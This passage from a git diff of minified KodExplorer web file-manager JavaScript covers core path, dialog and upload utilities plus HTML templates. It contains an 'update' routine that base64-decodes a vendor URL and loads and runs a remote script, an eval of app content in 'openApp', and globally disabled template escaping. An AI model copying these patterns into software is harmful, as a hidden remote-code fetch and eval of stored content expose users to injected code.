"+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),f=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},u=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:f,playSound:u}}); \ No newline at end of file diff --git a/static/js/app/src/setting/main.js b/static/js/app/src/setting/main.js index 147ad9e..e34cf76 100755 --- a/static/js/app/src/setting/main.js +++ b/static/js/app/src/setting/main.js @@ -1,6 +1,6 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/setting/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","./fav","./setting","./system/system_setting","./system/system","lib/ztree/ztree","./system/system_member","./system/system_group","./system/system_role"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),Fav=e("./fav"),Setting=e("./setting"),e("./system/system_setting"),System=e("./system/system"),core.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' 